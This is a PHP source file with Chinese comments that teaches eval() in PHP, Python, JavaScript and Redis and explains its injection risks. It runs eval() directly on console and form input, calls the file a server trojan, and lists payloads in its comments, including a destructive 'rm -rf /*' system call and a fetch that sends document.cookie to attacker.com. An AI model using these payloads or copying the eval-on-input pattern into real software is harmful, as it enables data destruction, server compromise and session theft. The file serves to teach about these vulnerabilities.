<?php
/*
  * @author: <NAME>
 * @date: 05/05/2015
 *  eval()：函数在各个语言的应用以及它存在的漏洞
 */
//----------------------------------------------------------------
 //1.php中的eval()函数
 /*语法：
    eval(phpcode): 函数把字符串按照 PHP 代码来计算
 */
$str = "echo '请输入你要输出的字符串：';";
eval($str);
//$input = fgets(STDIN);
$input = readline();
//eval("echo '$input';");
//echo $input;
//eval("echo '你输入的是：$input';");
//直接从控制台获取执行
eval($input);
/*
//获取当前文件路径和文件名
*在控制台输入：echo __FILE__;
*
*获取当前服务器所有信息：gxin
*在控制台输入：print_r($_SERVER);
*此文件相当于一个木马文件，上传到服务器项目，
* 然后执行该文件在控制台输入相关代码，可以获取服务器相关内容及配置文件
*需慎用
*/
//echo __FILE__;

//----------------------------------------------------------------
//2.python中的eval()函数
/*
  应用示例：
    s = "print('abcd')"
    eval(s)
    
  漏洞示例：
    input_str = input("请输入要执行的代码：")
    print(eval(input_str))
    
    在控制台输入：
    __import__('os').system('ls')//列出当前目录下的文件
    __import__('os').system('touch aaa')//创建一个文件aaa
    __import__('os').system('rm aaa')//删除一个文件aaa
    __import__('os').system('rm -rf /*')//跑路福报

*/

//----------------------------------------------------------------
//3.js中eval()函数应用
/*
eval() 函数计算 JavaScript 字符串，并把它作为脚本代码来执行
语法：
eval(string)

应用示例
*
<body>
	<div>
		<input type="text" id="test" value=""/>
		<button onclick="fun()">提交</button>
	</div>

<script>
//遍历对象
var obj = {
	name:'荒',
	age:18,
	sex:'男',
	sayHello:function(){
		console.info(this.name);
	}
}
for(var attr in obj){
	//只遍历属性不遍历函数
	if(typeof obj[attr]!="function"){
		document.write("属性："+obj[attr]+"<br>");
		console.log("属性："+obj[attr]);
	}
}
	
//eval()函数的应用：	
//1.转json字符串为对象
var json_str = "[{'name':'张三','age':18,'addr':'广东深圳'},{'name':'pony','age':18,'addr':'江苏吴中'}]";
var arr = window.eval(json_str);
	
//用无漏洞的json对象操作
//单引号问题：原始字符串中的键和值使用了单引号（如 'name'），
//直接使用 JSON.parse() 会报错，需先替换为双引号。
// 将单引号替换为双引号，确保符合 JSON 格式
const validJSON = json_str.replace(/'/g, '"');
const oj = JSON.parse(validJSON);
//JSON.parse(json_str);
console.log(arr);
console.log(oj);//如上面效果相同
for(var idx in arr){
	document.write(arr[idx].name,arr[idx].age,arr[idx].addr+"<br>");
}

	
//2，直接应用，前端输入漏洞：
	
function fun(){
	let val = document.getElementById("test").value;
	//val = eval(val);
	//document.write(eval(val+'+3'));
	document.write(eval(val));
	//window.eval(val);
	/*
	漏洞总结：
	1.跳转：
	window.location.host
	window.location.href="https://www.baidu.com"
	2.获取数据：
	fetch('https://attacker.com/steal?cookie='+document.cookie)
	//3.脚本注入注入
	 alert("haha")
	

}	
/*
eval()存在注入漏洞，为了安全须使用JSON相关方法：
JSON.parse(string[, reviver]) :将数据转换为 JavaScript 对象
text:必需， 一个有效的 JSON 字符串。
reviver: 可选，一个转换结果的函数， 将为对象的每个成员调用此函数。
  示例：var obj = JSON.parse(string);

JSON.stringify(value[, replacer[, space]]):方法将 JavaScript 对象转换为字符串
value:
	必需， 一个有效的 JSON 对象。
replacer:
	可选。用于转换结果的函数或数组。
	如果 replacer 为函数，则 JSON.stringify 将调用该函数，并传入每个成员的键和值。使用返回值而不是原始值。
	如果此函数返回 undefined，则排除成员。根对象的键是一个空字符串：""。
	如果 replacer 是一个数组，则仅转换该数组中具有键值的成员。成员的转换顺序与键在数组中的顺序一样。
	当 value 参数也为数组时，将忽略 replacer 数组。
space:
	可选，文本添加缩进、空格和换行符，如果 space 是一个数字，则返回值文本在每个级别缩进指定数目的空格，
	如果 space 大于 10，则文本缩进 10 个空格。space 有可以使用非数字，如：t。
示例：
json对象
var obj = { "name":"runoob", "alexa":10000, "site":"www.runoob.com"}; 
document.write(obj);//[object Object] 
var myJSON = JSON.stringify(obj);
document.write(myJSON );
//输出字符串{"name":"runoob","alexa":10000,"site":"www.runoob.com"}

js数组：
var arr = [ "Google", "Runoob", "Taobao", "Facebook" ]; 
document.write(arr);//Google,Runoob,Taobao,Facebook
var myJSON = JSON.stringify(arr);
document.write(myJSON );// [ "Google", "Runoob", "Taobao", "Facebook" ]

</script>

</body>

*/



//----------------------------------------------------------------
//4.redis中eval()函数应用
/*
redis中 eval()函数主要用来执行lua脚本
语法：
eval(script, numkeys, key [key ...], arg [arg ...])
script: lua脚本
numkeys: 脚本中用到的key的个数
（注：比较关键，此数据涉及到后续key的个数和arg的个数的分布，先满足key后续才是arg）
key: 脚本中用到的key
arg: 脚本中用到的参数

示例：
redis> eval "redis.call('set', 'foo', 'baz')" 0
"OK"
redis> eval "return redis.call('get', 'foo')" 0
"bar"

//redis加锁示例：
    public function onLock($key,$val,$expire){
        $lua = <<<LUA
            local key = KEYS[1]
            local val = ARGV[1]
            local expire = ARGV[2]
            if redis.call('setnx', key, val) == 1 then
                redis.call('pexpire', key, expire)
                return 1
            end
            return 0
LUA;
        $res = Redis::eval($lua, 1, $key, $val, $expire); // 成功为1，失败为0
        
        return $res;    
    }
    
    此eval()函数的注解：
    $res = Redis::eval($lua, 1, $key, $val, $expire);
    $lua: lua脚本
    1: 脚本中用到的key的个数
    $key: 脚本中用到的key KEYS[1]
    $val: 脚本中用到的参数 ARGV[1]
    $expire: 脚本中用到的参数 ARGV[2]

*/